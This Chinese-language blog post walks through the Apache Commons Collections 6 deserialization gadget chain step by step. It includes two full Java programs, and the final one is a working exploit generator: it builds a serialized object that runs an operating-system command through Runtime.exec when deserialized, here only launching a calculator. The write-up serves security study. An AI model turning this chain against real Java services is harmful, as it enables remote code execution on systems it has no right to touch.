Wileysec's Blog

CommonCollections6利用链分析

2022-09-23

利用条件

不限制JDK版本、CommonCollections版本

利用链

1
2
3
4
5
6
7
8
9
10
11
12
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

利用链分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.abc.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa");
Map lazymap = LazyMap.decorate(innerMap, chainedTransformer);

TiedMapEntry tiedmap = new TiedMapEntry(lazymap, "aaa");
HashMap hashmap = new HashMap();
hashmap.put(tiedmap,"bbb");

serialize(hashmap);
// unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}

}

对上面代码进行分析,发现和CC1的LayzMap链很类似,不过后面的用法不同。

那么我们接着CC1的获取到LazyMap对象开始说起,在LayzMap类中的decorate方法返回了LazyMap对象,其对象的get方法中调用了factorytransform方法,即触发Payload。

image-20221018161016404

image-20221018160903477

CC6这条链后面使用了TideMapEntry类,构造方法分别初始化变量。

image-20221018161312308

image-20221018161241827

可知,map变量即是我们的lazymap对象,而想调用到chainedTransformertransform方法,就必须要调用lazymap对象的get方法,那么在TideMapEntry类中找找看有没有地方调用了。

image-20221018161603391

发现getValue方法调用了,再找一下是哪个函数调用了getValue方法

image-20221018161700849

在其类中发现hashCode方法中调用了,那么后续我们怎么去利用调用到hashCode方法呢?还记得URLDNS链吗?在HashMap中调用put方法中会调用到hashCode方法。

image-20221117110908300

image-20221117110834671

这里使用HashMap对象将TiedMapEntry对象put进去,这样在反序列化HashMap对象时,就会调用到HashMapreadObject方法,其方法有调用hash方法

image-20221117111714803

image-20221117111731796

这样就能调用到我们上面说的lazymap对象的get方法

image-20221117110707638

在序列化时成功执行,在序列化时触发并不是我们想要的,我们需要的是在反序列化时触发。想要解决这个问题,我们需要知道为什么在序列化时就能触发,因为HashMap对象在调用put方法时调用了hash方法,进而一步一步往下执行,TiedMapEntry->getValue()LazyMap->get()ChainedTransformer->transform()

我们只需要将这三个中的一个对象先放置一个空的对象,再使用反射修改其对象的属性即可。

image-20221118100544034

这里在LazyMap调用decorate方法时,将factory参数赋值成一个没有意义的ConstantTransformer对象,这样在序列化时就不会触发Payload,再使用反射将factory变量值设置成Payload,这样在反序列化时就能够触发Payload了。

image-20221118101306251

image-20221118101334954

在反序列化时并没有触发,这里和URLDNS链很像,在调用hash方法后判断了HashMap对象的key是否包含指定 lazymap对象的key

image-20221118102109229

在序列化时,判断不存在aaa这个key则会触发ChainedTransformertransform方法,然后将其key添加到HashMap对象中,那么在下次反序列化时就执行不到158行到160行了,即不会触发Payload,那么有什么办法吗?当然有的,删除innerMaplazymap对象的key即可。

image-20221118105840808

至此执行成功,整条链都理清楚了,下面是整条链的利用过程代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.abc.cc6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa");
Map lazymap = LazyMap.decorate(innerMap, new ConstantTransformer('a'));

TiedMapEntry tiedmap = new TiedMapEntry(lazymap, "aaa");
HashMap hashmap = new HashMap();
hashmap.put(tiedmap,"bbb");
lazymap.remove("aaa");

Class class_lazymap = LazyMap.class;
Field factory = class_lazymap.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);

// serialize(hashmap);
unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}

}